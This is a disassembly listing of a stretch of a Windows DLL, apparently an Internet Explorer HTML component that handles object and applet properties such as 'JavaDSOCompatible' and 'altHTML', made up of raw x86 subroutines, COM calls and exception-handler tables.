; ---------------------------------------------------------------------------
loc_69B7769E: ; CODE XREF: sub_69B7767C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-2Ch], esi
xor eax, eax
mov al, [esi+40h]
and eax, 1
mov ecx, [ebp+0Ch]
mov [ecx], eax
jmp short loc_69B776ED
; ---------------------------------------------------------------------------
loc_69B776CD: ; DATA XREF: .text:69B77714o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B776D6: ; DATA XREF: .text:69B77718o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B776ED: ; CODE XREF: sub_69B7767C+4Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B77704: ; CODE XREF: sub_69B7767C+20j
call sub_69B1853C
retn 8
sub_69B7767C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B77710 dd 0FFFFFFFFh dd offset loc_69B776CD
dd offset loc_69B776D6
; =============== S U B R O U T I N E =======================================
sub_69B7771C proc near ; DATA XREF: .text:69B143D0o
push 20h
push offset dword_69B777B8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7773E
mov eax, 80004005h
jmp short loc_69B777AB
; ---------------------------------------------------------------------------
loc_69B7773E: ; CODE XREF: sub_69B7771C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
mov eax, [esi+18h]
mov [ebp-2Ch], eax
cmp [ebp+0Ch], edi
setnz cl
xor ecx, [eax+40h]
and ecx, 1
xor [eax+40h], ecx
mov [ebp-30h], edi
jmp short loc_69B77793
; ---------------------------------------------------------------------------
loc_69B77772: ; DATA XREF: .text:69B777BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7777B: ; DATA XREF: .text:69B777C0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B77793: ; CODE XREF: sub_69B7771C+54j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B777AB: ; CODE XREF: sub_69B7771C+20j
call sub_69B1853C
retn 8
sub_69B7771C endp
; ---------------------------------------------------------------------------
align 8
dword_69B777B8 dd 0FFFFFFFFh dd offset loc_69B77772
dd offset loc_69B7777B
; =============== S U B R O U T I N E =======================================
sub_69B777C4 proc near ; DATA XREF: .text:69B143D4o
push 28h
push offset dword_69B77860
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B777E4
mov eax, 80004005h
jmp short loc_69B77855
; ---------------------------------------------------------------------------
loc_69B777E4: ; CODE XREF: sub_69B777C4+17j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov eax, [eax+28h]
mov [ebp-30h], eax
mov eax, [eax+40h]
mov [ebp-34h], eax
mov ecx, [ebp+0Ch]
mov [ecx], eax
and dword ptr [ebp-38h], 0
jmp short loc_69B7783D
; ---------------------------------------------------------------------------
loc_69B7781C: ; DATA XREF: .text:69B77864o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B77825: ; DATA XREF: .text:69B77868o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B7783D: ; CODE XREF: sub_69B777C4+56j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B77855: ; CODE XREF: sub_69B777C4+1Ej
call sub_69B1853C
retn 8
sub_69B777C4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B77860 dd 0FFFFFFFFh dd offset loc_69B7781C
dd offset loc_69B77825
; =============== S U B R O U T I N E =======================================
sub_69B7786C proc near ; CODE XREF: sub_69B77918+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B9A98C
push off_69B9A990
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B7786C endp
; =============== S U B R O U T I N E =======================================
sub_69B7788E proc near ; DATA XREF: .text:69B2202Co
sub ecx, 24h
jmp sub_69B77494
sub_69B7788E endp
; =============== S U B R O U T I N E =======================================
sub_69B77896 proc near ; DATA XREF: .text:69B21FE4o
sub ecx, 28h
jmp sub_69B77494
sub_69B77896 endp
; =============== S U B R O U T I N E =======================================
sub_69B7789E proc near ; DATA XREF: .text:69B21FA4o
sub ecx, 2Ch
jmp sub_69B77494
sub_69B7789E endp
; =============== S U B R O U T I N E =======================================
sub_69B778A6 proc near ; CODE XREF: sub_69B3D0C6+1Ap
push 0F8h
call sub_69B17EF3
test eax, eax
jz short loc_69B778BB
mov ecx, eax
jmp sub_69B21F28
; ---------------------------------------------------------------------------
loc_69B778BB: ; CODE XREF: sub_69B778A6+Cj
xor eax, eax
retn
sub_69B778A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B778BE proc near ; CODE XREF: sub_69B7747C+3j
; .text:69B77487j ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B778D9
test [esp+4+arg_0], 1
jz short loc_69B778D3
push esi
call sub_69B1829F
loc_69B778D3: ; CODE XREF: sub_69B778BE+Dj
mov eax, esi
pop esi
retn 4
sub_69B778BE endp
; =============== S U B R O U T I N E =======================================
sub_69B778D9 proc near ; CODE XREF: sub_69B778BE+3p
push esi
mov esi, ecx
lea eax, [esi+0F4h]
push eax
call sub_69B17230
lea eax, [esi+0F0h]
push eax
call sub_69B2DEDD
mov ecx, esi
pop esi
jmp sub_69B3F305
sub_69B778D9 endp
; =============== S U B R O U T I N E =======================================
sub_69B778FC proc near ; CODE XREF: sub_69B78DF4+2Ap
arg_0 = dword ptr 4
push esi
lea esi, [ecx+0F4h]
push dword ptr [esi]
call sub_69B774BB
push [esp+4+arg_0]
push esi
call sub_69B17320
pop esi
retn 4
sub_69B778FC endp
; =============== S U B R O U T I N E =======================================
sub_69B77918 proc near ; CODE XREF: .text:69B77A1Dp
; .text:69B7824Ap ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B7786C
mov dword ptr [esi], offset off_69B143A8
mov dword ptr [esi+4], offset off_69B2A5B8
mov dword ptr [esi+0Ch], offset off_69B2A544
mov eax, esi
pop esi
retn 4
sub_69B77918 endp
; =============== S U B R O U T I N E =======================================
sub_69B7793E proc near ; CODE XREF: .text:69B3BB77j
; .text:69B3BB95j ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 0Ch
call sub_69B19038
retn 4
sub_69B7793E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7794D proc near ; CODE XREF: sub_69B5A135+5j
; sub_69B74690+41p
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push [ebp+arg_14]
mov eax, [ebp+arg_0]
push [ebp+arg_10]
add eax, 4
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_69B2D237
pop ebp
retn 18h
sub_69B7794D endp
; =============== S U B R O U T I N E =======================================
sub_69B7796F proc near ; DATA XREF: .text:off_69B2A5B8o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B7D61C
sub_69B7796F endp
; =============== S U B R O U T I N E =======================================
sub_69B77979 proc near ; DATA XREF: .text:off_69B2A544o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B77998
test [esp+4+arg_0], 1
jz short loc_69B77991
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B77991: ; CODE XREF: sub_69B77979+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B77979 endp
; =============== S U B R O U T I N E =======================================
sub_69B77998 proc near ; CODE XREF: sub_69B77979+3p
mov eax, ecx
lea ecx, [eax-0Ch]
neg ecx
sbb ecx, ecx
mov dword ptr [eax-0Ch], offset off_69B143A8
mov dword ptr [eax-8], offset off_69B2A5B8
mov dword ptr [eax], offset off_69B2A544
and ecx, eax
jmp loc_69B88066
sub_69B77998 endp
; ---------------------------------------------------------------------------
loc_69B779BC: ; DATA XREF: .text:69B1C708o
; .text:69B1C718o ...
push 34h
push offset dword_69B77AB8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B779DF
mov eax, 80004005h
jmp loc_69B77AAD
; ---------------------------------------------------------------------------
loc_69B779DF: ; CODE XREF: .text:69B779D3j
push 1
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
push 44h
call sub_69B17EF3
mov ecx, eax
mov [ebp-2Ch], ecx
test ecx, ecx
jz short loc_69B77A05
call sub_69B78994
jmp short loc_69B77A07
; ---------------------------------------------------------------------------
loc_69B77A05: ; CODE XREF: .text:69B779FCj
xor eax, eax
loc_69B77A07: ; CODE XREF: .text:69B77A03j
mov [ebp-30h], eax
push 1Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-34h], ecx
test ecx, ecx
jz short loc_69B77A24
push dword ptr [ebp-30h]
call sub_69B77918
jmp short loc_69B77A26
; ---------------------------------------------------------------------------
loc_69B77A24: ; CODE XREF: .text:69B77A18j
xor eax, eax
loc_69B77A26: ; CODE XREF: .text:69B77A22j
mov esi, eax
mov [ebp-38h], esi
push 0F8h
call sub_69B17EF3
mov ecx, eax
mov [ebp-3Ch], ecx
test ecx, ecx
jz short loc_69B77A45
call sub_69B21F28
jmp short loc_69B77A47
; ---------------------------------------------------------------------------
loc_69B77A45: ; CODE XREF: .text:69B77A3Cj
xor eax, eax
loc_69B77A47: ; CODE XREF: .text:69B77A43j
mov [ebp-40h], eax
push 1
mov ecx, eax
call sub_69B1D6A4
push dword ptr [ebp-40h]
mov ecx, [ebp-30h]
call sub_69B78DF4
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-44h], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B77A95
; ---------------------------------------------------------------------------
loc_69B77A74: ; DATA XREF: .text:69B77ABCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B77A7D: ; DATA XREF: .text:69B77AC0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-44h], eax
loc_69B77A95: ; CODE XREF: .text:69B77A72j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-44h]
loc_69B77AAD: ; CODE XREF: .text:69B779DAj
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 4
dword_69B77AB8 dd 0FFFFFFFFh dd offset loc_69B77A74
dd offset loc_69B77A7D
; =============== S U B R O U T I N E =======================================
sub_69B77AC4 proc near ; CODE XREF: sub_69B784F7+34p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 0
jz short loc_69B77ADF
dec eax
jz short loc_69B77AD9
dec eax
jnz short locret_69B77AE3
or dword ptr [ecx+10h], 8
jmp short locret_69B77AE3
; ---------------------------------------------------------------------------
loc_69B77AD9: ; CODE XREF: sub_69B77AC4+Aj
or dword ptr [ecx+10h], 1
jmp short locret_69B77AE3
; ---------------------------------------------------------------------------
loc_69B77ADF: ; CODE XREF: sub_69B77AC4+7j
or dword ptr [ecx+10h], 2
locret_69B77AE3: ; CODE XREF: sub_69B77AC4+Dj
; sub_69B77AC4+13j ...
retn 4
sub_69B77AC4 endp
; =============== S U B R O U T I N E =======================================
sub_69B77AE6 proc near ; CODE XREF: .text:69B788C8j
; DATA XREF: .text:69B14438o
mov eax, offset off_69B77AEC
retn
sub_69B77AE6 endp
; ---------------------------------------------------------------------------
off_69B77AEC dd offset off_69B2B19C ; DATA XREF: sub_69B77AE6o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B77AF4 proc near ; CODE XREF: sub_69B5D45C+15Cp
pvargDest = VARIANTARG ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B77B4E
lea eax, [ebp+pvargDest]
push eax ; pvarg
push offset aJavadsocompati ; "JavaDSOCompatible"
call sub_69B1D494
push eax ; int
push [ebp+arg_0] ; int
call sub_69B5EA21
test eax, eax
jl short loc_69B77B44
push 0Bh ; vt
push 0 ; wFlags
push 0 ; lcid
lea eax, [ebp+pvargDest]
push eax ; pvarSrc
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jl short loc_69B77B44
cmp word ptr [ebp+pvargDest.anonymous_0+8], 0
setnz al
xor eax, [esi+40h]
and eax, 1
xor [esi+40h], eax
loc_69B77B44: ; CODE XREF: sub_69B77AF4+28j
; sub_69B77AF4+3Dj
lea eax, [ebp+pvargDest]
push eax ; pvarg
call VariantClear
loc_69B77B4E: ; CODE XREF: sub_69B77AF4+Dj
pop esi
leave
retn 4
sub_69B77AF4 endp
; ---------------------------------------------------------------------------
align 4
; char aJavadsocompati[]
aJavadsocompati db 'JavaDSOCompatible',0 ; DATA XREF: sub_69B77AF4+13o
; ---------------------------------------------------------------------------
loc_69B77B66: ; DATA XREF: .text:off_69B789F4o
mov edx, [esp+0Ch]
push ebx
xor ebx, ebx
test edx, edx
jnz short loc_69B77B78
mov ebx, 80070057h
jmp short loc_69B77BB3
; ---------------------------------------------------------------------------
loc_69B77B78: ; CODE XREF: .text:69B77B6Fj
push esi
mov esi, [esp+10h]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B77BA5
mov esi, [esp+14h]
push 4
pop ecx
mov edi, offset dword_69B77BBC
xor eax, eax
repe cmpsd
jz short loc_69B77BA5
mov ebx, 80004002h
jmp short loc_69B77BB1
; ---------------------------------------------------------------------------
loc_69B77BA5: ; CODE XREF: .text:69B77B8Aj
; .text:69B77B9Cj
mov eax, [esp+10h]
mov [edx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B77BB1: ; CODE XREF: .text:69B77BA3j
pop edi
pop esi
loc_69B77BB3: ; CODE XREF: .text:69B77B76j
mov eax, ebx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
align 4
dword_69B77BBC dd 53BE4F42h, 11D23602h, 1B80h, 0DF6C7AF8h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B77BCC proc near ; CODE XREF: sub_69B787C4+Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx+0Ch]
test eax, eax
jz short locret_69B77BFA
push eax
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov eax, [ebp+var_8]
jmp short loc_69B77BF5
; ---------------------------------------------------------------------------
loc_69B77BE6: ; CODE XREF: sub_69B77BCC+2Cj
mov eax, [eax]
and dword ptr [eax+10h], 0FFFFFFEFh
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_69B77BF5: ; CODE XREF: sub_69B77BCC+18j
cmp eax, [ebp+var_4]
jb short loc_69B77BE6
locret_69B77BFA: ; CODE XREF: sub_69B77BCC+Aj
leave
retn
sub_69B77BCC endp
; =============== S U B R O U T I N E =======================================
sub_69B77BFC proc near ; DATA XREF: .text:off_69B2A550o
push 2Ch
push offset dword_69B77D38
call sub_69B19C5C
mov ebx, ecx
mov esi, [ebp+8]
push esi
call sub_69B89EAF
mov eax, [ebx+1Ch]
xor edi, edi
cmp eax, edi
jz loc_69B77D1F
lea ecx, [eax+0Ch]
mov eax, [ecx]
push esi
call dword ptr [eax]
mov [ebp-1Ch], edi
mov [ebp-20h], edi
mov [ebp-24h], edi
lea eax, [ebp-34h]
push eax ; pvarg
call VariantInit
cmp esi, edi
jz short loc_69B77C4F
push offset aAlthtml ; "altHTML"
call SysAllocString
mov [ebp-38h], eax
jmp short loc_69B77C52
; ---------------------------------------------------------------------------
loc_69B77C4F: ; CODE XREF: sub_69B77BFC+41j
mov [ebp-38h], edi
loc_69B77C52: ; CODE XREF: sub_69B77BFC+51j
cmp esi, edi
jz loc_69B77CE5
cmp [ebp-38h], edi
jz loc_69B77CE5
mov eax, [esi]
lea ecx, [ebp-1Ch]
push ecx
push offset loc_69B77D44
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B77CE5
mov eax, [ebp-1Ch]
mov ecx, [eax]
lea edx, [ebp-20h]
push edx
push eax
call dword ptr [ecx+14h]
test eax, eax
jl short loc_69B77CE5
mov eax, [ebp-20h]
cmp eax, edi
jz short loc_69B77CE5
mov ecx, [eax]
lea edx, [ebp-24h]
push edx
push offset dword_69B2B0A0
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B77CE5
mov eax, [ebp-24h]
mov ecx, [eax]
lea edx, [ebp-34h]
push edx
push edi
push dword ptr [ebp-38h]
push eax
call dword ptr [ecx+20h]
test eax, eax
jl short loc_69B77CE5
mov [ebp-4], edi
mov esi, [ebx+1Ch]
mov [ebp-3Ch], esi
push dword ptr [ebp-2Ch] ; lpString
call sub_69B1A587
push eax
mov ecx, esi
call sub_69B3F10D
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B77CE5
; ---------------------------------------------------------------------------
loc_69B77CD3: ; DATA XREF: .text:69B77D3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B77CDC: ; DATA XREF: .text:69B77D40o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
loc_69B77CE5: ; CODE XREF: sub_69B77BFC+58j
; sub_69B77BFC+61j ...
push dword ptr [ebp-38h] ; BSTR
call SysFreeString
lea eax, [ebp-34h]
push eax ; pvarg
call VariantClear
mov eax, [ebp-24h]
cmp eax, edi
jz short loc_69B77D05
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B77D05: ; CODE XREF: sub_69B77BFC+101j
mov eax, [ebp-20h]
cmp eax, edi
jz short loc_69B77D12
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B77D12: ; CODE XREF: sub_69B77BFC+10Ej
mov eax, [ebp-1Ch]
cmp eax, edi
jz short loc_69B77D1F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B77D1F: ; CODE XREF: sub_69B77BFC+1Ej
; sub_69B77BFC+11Bj
call sub_69B1853C
retn 4
sub_69B77BFC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; OLECHAR aAlthtml
aAlthtml: ; DATA XREF: sub_69B77BFC+43o
unicode 0, <altHTML>,0
dword_69B77D38 dd 0FFFFFFFFh dd offset loc_69B77CD3
dd offset loc_69B77CDC
; ---------------------------------------------------------------------------
loc_69B77D44: ; DATA XREF: sub_69B77BFC+6Do
mov [edx-454B4E6Ah], esi
sbb dl, [eax]
mov dh, 9Ch
add [edx+71D3400h], ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B77D54 proc near ; DATA XREF: .text:69B2A554o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B88F7D
mov eax, [esi+1Ch]
test eax, eax
pop esi
jz short loc_69B77D79
lea ecx, [eax+0Ch]
mov eax, [ecx]
pop ebp
jmp dword ptr [eax+4]
; ---------------------------------------------------------------------------
loc_69B77D79: ; CODE XREF: sub_69B77D54+1Aj
pop ebp
retn 0Ch
sub_69B77D54 endp
; =============== S U B R O U T I N E =======================================
sub_69B77D7D proc near ; CODE XREF: sub_69B1694C+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B2A558
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B77D7D endp
; =============== S U B R O U T I N E =======================================
sub_69B77D97 proc near ; CODE XREF: sub_69B1699C+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B2B140
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B77D97 endp
; =============== S U B R O U T I N E =======================================
sub_69B77DB1 proc near ; CODE XREF: sub_69B784F7+25p
arg_4 = dword ptr 8
push esi
lea esi, [ecx+0Ch]
cmp dword ptr [esi], 0
jnz short loc_69B77DC6
call sub_69B1D7F6
push eax
push esi
call sub_69B17320
loc_69B77DC6: ; CODE XREF: sub_69B77DB1+7j
push [esp+4+arg_4]
mov ecx, [esi]
call sub_69B8A35C
pop esi
retn 8
sub_69B77DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B77DD5 proc near ; CODE XREF: sub_69B784F7+Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx+0Ch]
push esi
xor esi, esi
test eax, eax
jz short loc_69B77E0E
push eax
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov ecx, [ebp+var_8]
jmp short loc_69B77E05
; ---------------------------------------------------------------------------
loc_69B77DF2: ; CODE XREF: sub_69B77DD5+33j
mov eax, [ecx]
mov edx, [eax+8]
mov edx, [edx+8]
cmp edx, [ebp+arg_0]
jz short loc_69B77E0C
add ecx, 4
mov [ebp+var_8], ecx
loc_69B77E05: ; CODE XREF: sub_69B77DD5+1Bj
cmp ecx, [ebp+var_4]
jb short loc_69B77DF2
jmp short loc_69B77E0E
; ---------------------------------------------------------------------------
loc_69B77E0C: ; CODE XREF: sub_69B77DD5+28j
mov esi, eax
loc_69B77E0E: ; CODE XREF: sub_69B77DD5+Dj
; sub_69B77DD5+35j
mov eax, esi
pop esi
leave
retn 4
sub_69B77DD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B77E15 proc near ; CODE XREF: sub_69B77E15+172p
; sub_69B77E15+1D6p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, ecx
mov eax, [edi+8]
mov [ebp+var_8], eax
mov eax, [esi+0Ch]
mov [ebp+var_10], eax
mov eax, [edi+10h]
mov ecx, eax
shr ecx, 1
xor ebx, ebx
test cl, 1
jz short loc_69B77E5E
mov cl, al
and cl, 1
cmp byte ptr [ebp+arg_4], cl
jnz short loc_69B77E5E
cmp [edi+0Ch], ebx
jnz loc_69B77F57
mov ecx, eax
shr ecx, 2
test cl, 1
jnz loc_69B77F57
loc_69B77E5E: ; CODE XREF: sub_69B77E15+26j
; sub_69B77E15+30j
shr eax, 3
test al, 1
jnz loc_69B77F57
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 18h
mov [ebp+var_1], bl
mov [ebp+var_14], eax
jg short loc_69B77E7F
call sub_69B2E6D8
loc_69B77E7F: ; CODE XREF: sub_69B77E15+63j
mov eax, [ebp+var_14]
mov eax, [eax+6Ch]
loc_69B77E85: ; CODE XREF: sub_69B77E15+15Fj
mov ecx, [ebp+var_10]
mov esi, [esi+8]
push 1
push ebx
push ebx
push ebx
push ebx
push eax
call sub_69B3DA18
push eax
push ebx
mov ecx, esi
call sub_69B3D2F2
mov esi, eax
or byte ptr [esi+9], 10h
cmp byte ptr [ebp+arg_4], bl
jz short loc_69B77F0F
mov eax, [edi+8]
mov ecx, [eax+8]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push offset byte_69B78068 ; lpMultiByteStr
mov [ebp+arg_4], eax
call sub_69B1D494
push ebx
push [ebp+arg_4]
push eax
call sub_69B2F2CA
add esp, 0Ch
push eax
call sub_69B1A2EC
mov [ebp+var_14], eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Bh
mov [ebp+arg_4], eax
jg short loc_69B77EEC
call sub_69B2E6D8
loc_69B77EEC: ; CODE XREF: sub_69B77E15+D0j
push [ebp+var_8]
mov ecx, [ebp+arg_4]
push dword ptr [ecx+78h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0ACh]
mov ecx, [ebp+var_10]
push ebx
push ebx
push [ebp+var_14]
call sub_69B3DA18
mov [ebp+var_8], eax
loc_69B77F0F: ; CODE XREF: sub_69B77E15+94j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ah
mov [ebp+arg_4], eax
jg short loc_69B77F22
call sub_69B2E6D8
loc_69B77F22: ; CODE XREF: sub_69B77E15+106j
push [ebp+var_8]
mov ecx, [ebp+arg_4]
push dword ptr [ecx+74h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0ACh]
cmp [ebp+var_1], bl
jz loc_69B7805E
mov edi, [edi+0Ch]
cmp edi, ebx
jz loc_69B78009
push edi
lea ecx, [ebp+var_C]
call sub_69B8A0E9
jmp loc_69B77FFD
; ---------------------------------------------------------------------------
loc_69B77F57: ; CODE XREF: sub_69B77E15+35j
; sub_69B77E15+43j ...
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 19h
mov [ebp+var_1], 1
mov [ebp+var_14], eax
jg short loc_69B77F6E
call sub_69B2E6D8
loc_69B77F6E: ; CODE XREF: sub_69B77E15+152j
mov eax, [ebp+var_14]
mov eax, [eax+70h]
jmp loc_69B77E85
; ---------------------------------------------------------------------------
loc_69B77F79: ; CODE XREF: sub_69B77E15+1EEj
mov eax, [ebp+var_C]
mov edi, [eax]
push ebx
push [ebp+arg_0]
mov ecx, edi
mov [ebp+var_10], edi
call sub_69B77E15
mov edx, [esi]
push ebx
push eax
mov ecx, esi
mov [ebp+arg_4], eax
call dword ptr [edx+7Ch]
test byte ptr [edi+10h], 1
jz short loc_69B77FD5
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ch
mov edi, eax
jg short loc_69B77FB0
call sub_69B2E6D8
loc_69B77FB0: ; CODE XREF: sub_69B77E15+194j
mov eax, [edi+7Ch]
mov [ebp+var_14], eax
mov eax, [ebp+arg_4]
mov edi, [eax]
push offset byte_69B25C44 ; lpMultiByteStr
call sub_69B1D494
mov ecx, [ebp+arg_4]
push eax
push [ebp+var_14]
call dword ptr [edi+0ACh]
mov edi, [ebp+var_10]
loc_69B77FD5: ; CODE XREF: sub_69B77E15+187j
mov eax, [edi+10h]
shr eax, 1
test al, 1
jz short loc_69B77FF9
test byte ptr [edi+10h], 1
jz short loc_69B77FF9
push 1
push [ebp+arg_0]
mov ecx, edi
call sub_69B77E15
mov edx, [esi]
push ebx
push eax
mov ecx, esi
call dword ptr [edx+7Ch]
loc_69B77FF9: ; CODE XREF: sub_69B77E15+1C7j
; sub_69B77E15+1CDj
add [ebp+var_C], 4
loc_69B77FFD: ; CODE XREF: sub_69B77E15+13Dj
mov eax, [ebp+var_8]
cmp [ebp+var_C], eax
jb loc_69B77F79
loc_69B78009: ; CODE XREF: sub_69B77E15+12Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ebx
push eax
call sub_69B77E15
mov edi, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Dh
mov [ebp+arg_4], edi
mov [ebp+arg_0], eax
jg short loc_69B7802E
call sub_69B2E6D8
loc_69B7802E: ; CODE XREF: sub_69B77E15+212j
mov eax, [ebp+arg_0]
mov eax, [eax+80h]
mov edi, [edi]
push offset byte_69B25C44 ; lpMultiByteStr
mov [ebp+arg_0], eax
call sub_69B1D494
mov ecx, [ebp+arg_4]
push eax
push [ebp+arg_0]
call dword ptr [edi+0ACh]
mov eax, [esi]
push ebx
push [ebp+arg_4]
mov ecx, esi
call dword ptr [eax+7Ch]
loc_69B7805E: ; CODE XREF: sub_69B77E15+123j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 8
sub_69B77E15 endp
; ---------------------------------------------------------------------------
align 4
; char byte_69B78068[]
byte_69B78068 db 21h, 0 ; DATA XREF: sub_69B77E15+A1o
; =============== S U B R O U T I N E =======================================
sub_69B7806A proc near ; DATA XREF: .text:69B16A70o
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B7806A endp
